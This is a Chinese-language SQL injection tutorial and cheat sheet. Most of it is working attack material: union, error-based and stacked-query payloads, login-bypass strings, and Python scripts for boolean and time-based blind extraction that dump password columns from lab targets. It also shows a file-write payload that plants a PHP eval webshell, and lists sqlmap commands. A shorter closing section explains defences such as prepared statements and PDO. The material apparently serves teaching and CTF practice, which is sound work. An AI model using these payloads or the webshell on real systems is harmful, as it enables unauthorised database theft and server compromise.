原理:
SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如查询、删除,增加,修改数据等等,如果数据库的用户权限足够大,还可以对操作系统执行操作。
分类:
- 数字类型的注入
- 字符串类型的注入
- 搜索型注入
依据提交方式分类
- GET注入
- POST注入
- COOKIE注入
- HTTP头注入(XFF注入、UA注入、REFERER注入)
依据获取信息的方式分类
- 基于布尔的盲注
- 基于时间的盲注
- 基于报错的注入
- 联合查询注入
- 堆查询注入 (可同时执行多条语句)
判断SQL注入是否存在
1、单引号判断法: 在参数后面加上单引号、双引号、)、)),比如:
http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
2、数字型判断:
当输入的参 x 为整型时,通常 Sql 语句类型大致如下: select * from <表名> where id = x 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:
Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
原因如下:
当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1没有语法错误且逻辑判断为正确,所以返回正常。当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。 我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:select * from <表名> where id = 'x and 1=1' select * from <表名> where id = 'x and 1=2' 查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。
3、字符型判断:
当输入的参 x 为字符型时,通常 123.php 中 SQL 语句类型大致如下: select * from <表名> where id = 'x' 这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:
Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。同理
4.Timing Attack测试
当无法通过回显判断可以通过响应时间来判断,构造语句
首先判断是否是数字型还是字符型注入,之后加上判断语句if再通过响应时间判断
5.搜索型注入
select username,id,email from member where username like '%$name%'";
- 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
- 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
- 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
- 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况(根据两次的返回情况来判断是不是搜索型文本框注入了)
判断数据库类型
(不同的数据库注入姿势不同)
//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #
对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
注入姿势
union注入:
第一步:判断是否是注入点(前文已提及)
第二步:爆出字段(有多少列)
xxx' order by 3# 观察是否报错来判断有多少列
第三步:找出可回显字段,爆出数据库,版本
'union select 1,database(),version()#
第四步:爆出表名
'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3#
第五步:爆出列名
'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'),3#显示列名
第六步:爆出数值
'union select 1,(select group_concat(列名) from 表名),3#
TIP:如果#不行可尝试--+都是代表注释
报错注入:
extractvalue函数:当查询标签格式不对,就会报错
concat函数:用于连接两个字符串
'and extractvalue('div',concat('~',database()))# 获取数据库名
'%0aand%0aextractvalue('div'%2cconcat('~'%2cdatabase()))%3b%00----------value
' and updatexml('div', concat('~',database()), 'hi')#获取数据库名
'%0aand%0aupdatexml('div'%2cconcat('~'%2cdatabase())%2c'hi')%3b%00----value
' and extractvalue('div', concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))# 获取表名
' and extractvalue('div', concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails')))# 获取列名
' and extractvalue('div', concat('~',(select email_id from emails limit 0,1)))#获取数据
堆叠注入:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
';show databases;查数据库
';show tables;查表
';show columns from words;查列
';show columns from `1919810931114514`;当表名为数字要用反引号
宽字节注入:
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
转义函数addslashes为将我们输入的引号前面加上\ 会对我们的引号进行转义以阻止注入,我们可以在引号前加上%df和\(其编码为%5c)组成%df%5c就变成了繁体汉字“運",于是我们的引号不会受到影响
二次注入:
举例:
我们新建的用户名为:admin' # 密码为:654321
查看数据库,可以看到,我们的数据插入进去了
我们使用新建的用户名和密码登录。
登录成功了,跳转到了后台页面修改密码页面。
我们修改用户名为:admin' # 密码为:aaaaaa
提示密码更新成功!
我们查看数据库,发现用户 admin'# 的密码并没有修改,而且 admin 用户的密码修改为了 aaaaaa。
布尔盲注:
# -*-coding:utf-8-*-
import requests
import time
# host = "http://web.jarvisoj.com:32787/login.php"
host = "http://injectx1.lab.aqlab.cn/Pass-10/index.php"
def getDatabase(): # 获取数据库名
global host
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
url = host + "?id=1'^(ascii(substr((select(database())),%d,1))<%d)^1-- -" % (i, mid) #注意是什么类型的注入决定是否加单引号
res = requests.get(url)
if "You are in" in res.text: #成功的标识
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("database is -> " + ans)
def getTable(): # 获取表名
global host
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
url = host + "?id=1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1-- -" % (
i, mid)
res = requests.get(url)
if "You are in" in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("table is -> " + ans)
def getColumn(): # 获取列名
global host
ans = ''
for i in range(1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# url = host + "id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1" % (i,mid)
# res = requests.get(url)
url = host + "?id=1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1-- -" % (
i, mid)
res = requests.get(url)
if "You are in" in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("column is -> " + ans)
def dumpTable(): # 脱裤
global host
ans = ''
for i in range(1, 10000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)
# res = requests.get(url)
url = host + "?id=1'^(ascii(substr((select(group_concat(password))from(users)),%d,1))<%d)^1-- -" % (i, mid)
res = requests.get(url)
if "You are in" in res.text:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print("dumpTable is -> " + ans)
getDatabase()
getTable()
getColumn()
dumpTable()
时间盲注:
import requests
import time
import datetime
url = "http://sqli:8088/Less-9/?id=1'"
#url = "http://127.0.0.1/sqlilabs/Less-4/?id=1"
def get_dbname():
dbname = ''
for i in range(1,9):
for k in range(32,127):
payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+".format(i,k)
#payload = '") and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+'.format(i,k)
# payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+".format(i,k)
#if语句里面的sleep(2)为如果注入语句正确浏览器就休眠两秒,也可以和1调换位置(那样就是如果语句错误休眠两秒)
time1 = datetime.datetime.now()
#获得提交payload之前的时间
res = requests.get(url + payload)
time2 = datetime.datetime.now()
#获得payload提交后的时间
difference = (time2 - time1).seconds
#time,time2时间差,seconds是只查看秒
if difference > 1:
dbname += chr(k)
else:
continue
print("数据库名为->"+dbname)
get_dbname()
def get_table():
table1 = ''
table2 = ''
table3 = ''
table4 = ''
for i in range(5):
for j in range(6):
for k in range(32,127):
payload = "and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)
time1 = datetime.datetime.now()
res = requests.get(url + payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
if i == 0:
table1 += chr(k)
print("第一个表为->"+table1)
elif i == 1:
table2 += chr(k)
print("第二个表为->"+table2)
elif i == 3:
table3 += chr(k)
print("第三个表为->"+table3)
elif i == 4:
table4 += chr(k)
print("第四个表为->"+table4)
else:
break
get_table()
def get_column():
column1 = ''
column2 = ''
column3 = ''
for i in range(3):
for j in range(1,9):
for k in range(32,127):
payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
if i == 0:
column1 += chr(k)
print("字段一为->"+column1)
if i == 1:
column2 += chr(k)
print("字段二为->"+column2)
if i == 2:
column3 += chr(k)
print("字段三为->"+column3)
else:
break
get_column()
def get_flag():
flag = ''
for i in range(30):
for k in range(32,127):
payload = "and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)--+"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
flag += chr(k)
print("flag为->"+flag)
get_flag()
其他存在于http头部的注入:
例如cookie注入,xff注入,user-agent注入等等建议sqlmap梭哈
python sqlmap.py -r 1.txt --dbs --batch --level=5 --risk=3
万能密码
sql="select*from test where username=' XX ' and password=' XX ' "; admin' or '1'='1 XX //万能密码(已知用户名) XX 'or'1'='1 //万能密码(不需要知道用户名) 'or '1'='1'# XX //万能密码(不知道用户名
文件读写
当有显示列的时候,文件读可以利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;
union注入读取文件
//union注入读取 e:/3.txt 文件 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("e:/3.txt") --+ //也可以把 e:/3.txt 转换成16进制 0x653a2f332e747874 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x653a2f332e747874) --+
盲注读取文件
//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
我们可以利用写入文件的功能,在e盘创建4.php文件,然后写入一句话木马
union写入文件
//利用union注入写入一句话木马 into outfile 和 into dumpfile 都可以 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'd:/4.php' --+ // 可以将一句话木马转换成16进制的形式 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'd:/4.php' --+
sqlmap常用命令
可参考:文档介绍 - 《sqlmap v1.4 用户手册中文版》 - 书栈网 · BookStack
python sqlmap.py -r 1.txt --batch --dbs --level=5 --risk=3
python sqlmap.py -u "http://xxxxx.com" --dbs
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-dump #列出数值
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
--data “” #通过POST发送数据
--columns #列出字段
--cookie “用;号分开” #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
--referer “” #使用referer欺骗(–referer “http://”)
--proxy “http://127.0.0.1:8118” #代理注入
-p "id" #指定注入get参数
--technique=T #指定时间注入
--technique=B #指定布尔注入
--technique=U #指定联合注入union
--technique=S #指定多语句查询注入
--technique=Q #指定内联注入
--technique=E #指定报错注入--is-dba #判断是否为高权限-读写
Sql注入的预防
(1)预编译(PreparedStatement)(JSP)
可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。
String sql = "select id, no from user where id=?"; PreparedStatement ps = conn.prepareStatement(sql); ps.setInt(1, id); ps.executeQuery();
如上所示,就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢?
其原因就是:采用了PreparedStatement预编译,就会将SQL语句:"select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。
原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。
(2)PDO(PHP)
首先简单介绍一下什么是PDO。PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持PDO。你可以把PDO看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用PDO连接mysql,也可以用它连接oracle。并且PDO很好的解决了sql注入问题。
PDO对于解决SQL注入的原理也是基于预编译。
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute();
实例化PDO对象之后,首先是对请求SQL语句做预编译处理。在这里,我们使用了占位符的方式,将该SQL传入prepare函数后,预处理函数就会得到本次查询语句的SQL模板类,并将这个模板类返回,模板可以防止传那些危险变量改变本身查询语句的语义。然后使用 bindParam()函数对用户输入的数据和参数id进行绑定,最后再执行.
(3)使用正则表达式过滤
虽然预编译可以有效预防SQL注,但是某些特定场景下,可能需要拼接用户输入的数据。这种情况下,我们就需要对用户输入的数据进行严格的检查,使用正则表达式对危险字符串进行过滤,这种方法是基于黑名单的过滤,以至于黑客想尽一切办法进行绕过注入。基于正则表达式的过滤方法还是不安全的,因为还存在绕过的风险。
对用户输入的特殊字符进行严格过滤,如 '、"、<、>、/、*、;、+、-、&、|、(、)、and、or、select、union
(4)其他
Web 应用中用于连接数据库的用户与数据库的系统管理员用户的权限有严格的区分(如不能执行 drop 等),并设置 Web 应用中用于连接数据库的用户不允许操作其他数据库。
设置 Web 应用中用于连接数据库的用户对 Web 目录不允许有写权限。
严格限定参数类型和格式,明确参数检验的边界,必须在服务端正式处理之前对提交的数据的合法性进行检查。
使用 Web 应用防火墙(雷池、安全感....)
参考文献:
https://www.cnblogs.com/sunny11/p/14402679.html#_label3
https://www.cnblogs.com/c1047509362/p/12835777.html
https://www.cnblogs.com/cainiao-chuanqi/p/15808581.html
用法 - 《sqlmap v1.4 用户手册中文版》 - 书栈网 · BookStack